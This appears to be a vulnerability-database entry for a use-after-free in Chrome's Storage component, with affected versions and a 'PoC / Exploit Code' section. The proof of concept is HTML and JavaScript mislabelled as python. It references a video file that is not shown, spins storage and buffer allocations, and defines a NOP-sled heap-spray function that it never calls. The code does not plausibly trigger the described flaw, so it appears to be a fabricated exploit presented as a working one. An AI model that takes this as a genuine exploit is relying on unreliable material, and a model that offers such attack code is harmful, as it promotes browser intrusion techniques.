Use after free in Storage in Google Chrome prior to 141.0.7390.65 allowed a remote attacker to execute arbitrary code via a crafted video file. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 141.0.7390.65
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11460 PoC - Use After Free in Storage -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-11460 PoC</title>
</head>
<body>
<h1>CVE-2025-11460 Use After Free PoC</h1>
<video id="target" controls>
<!-- Malformed video file that triggers Use After Free in Storage -->
<source src="malicious_video.mp4" type="video/mp4">
</video>
<script>
// Trigger the vulnerability through storage manipulation
async function triggerUAF() {
// Create storage reference that will be freed
const storage = await navigator.storage.persist();
// Repeatedly allocate and release storage objects
for (let i = 0; i < 1000; i++) {
const data = new ArrayBuffer(1024 * 1024);
// Force garbage collection when possible
if (i % 100 === 0) {
await new Promise(r => setTimeout(r, 10));
}
}
// Attempt to access freed storage object
console.log('Storage state after trigger:', storage);
}
// Heap spraying technique to control freed memory
function heapSpray() {
const sprayData = new Uint8Array(1024 * 1024);
// Fill with NOP sled and shellcode pattern
for (let i = 0; i < sprayData.length; i++) {
sprayData[i] = 0x90; // NOP instruction
}
return sprayData;
}
triggerUAF();
</script>
</body>
</html>